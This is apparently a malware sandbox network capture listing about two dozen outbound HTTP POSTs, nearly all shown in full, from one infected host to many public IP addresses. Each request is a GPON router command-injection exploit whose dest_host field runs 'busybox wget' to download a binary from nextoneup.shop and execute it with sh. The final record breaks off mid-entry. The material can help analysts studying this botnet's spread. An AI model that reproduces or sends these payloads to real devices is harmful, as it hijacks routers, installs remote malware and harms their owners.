201	192.168.2.13	41688	212.121.79.140	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744249105 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
202	192.168.2.13	42624	178.180.111.10	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744395971 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
203	192.168.2.13	57578	109.7.93.136	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744404078 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
204	192.168.2.13	38250	2.221.107.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744404078 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
205	192.168.2.13	58106	2.57.56.64	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744436979 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
206	192.168.2.13	55974	117.103.236.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744472980 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
207	192.168.2.13	33880	148.59.217.144	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744530916 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
208	192.168.2.13	38376	117.151.9.34	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744544983 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
209	192.168.2.13	35930	202.28.131.73	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744611025 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
210	192.168.2.13	50696	202.252.182.125	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744648933 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
211	192.168.2.13	49488	148.1.65.252	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744673967 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.13	53014	109.100.58.233	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744679928 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.13	39228	118.99.246.63	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744710922 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.13	59004	123.101.66.180	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744716883 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
215	192.168.2.13	50632	5.159.151.122	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744716883 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
216	192.168.2.13	49834	178.80.164.132	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744770050 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
217	192.168.2.13	46110	94.170.28.132	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744791985 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
218	192.168.2.13	60730	148.140.201.254	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744827032 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
219	192.168.2.13	39554	42.199.179.93	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744869947 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
220	192.168.2.13	43934	202.111.33.247	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744920015 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
221	192.168.2.13	43238	5.113.41.246	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744934082 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
222	192.168.2.13	33416	37.106.243.229	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744972944 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
223	192.168.2.13	47606	117.196.71.173	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745001078 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
224	192.168.2.13	55954	109.198.171.218	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745017052 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
225	192.168.2.13	58858	37.78.242.249	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745048046 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.13	54268	210.102.97.83	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745064974 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 